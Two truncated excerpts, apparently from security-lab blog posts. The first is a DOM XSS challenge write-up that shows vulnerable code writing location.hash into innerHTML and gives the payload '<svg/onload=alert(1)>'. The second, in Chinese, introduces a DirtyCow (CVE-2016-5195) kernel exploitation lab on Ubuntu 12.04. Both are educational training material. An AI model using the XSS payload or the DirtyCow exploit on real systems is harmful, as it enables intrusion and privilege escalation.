Level 1 let hash = location.hash; if (hash.length > 1) { let hashValueToUse = unescape(hash.substr(1)); let msg = "Welcome " + hashValueToUse + "!!"; document.getElementById("msgboard").innerHTML = msg; }Sink: innerHTML Source: location.hash Solution: <svg/onload=alert(1)> Level...

DirtyCow 实验环境：Ubuntu 12.04实验工具：gcc实验目的：了解DirtyCow漏洞的产生原因并熟悉DirtyCow漏洞的利用CVE-2016-5195 https://dirtycow.ninja/ 描述引用来源：https://github.com/dirtycowA race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.Lin...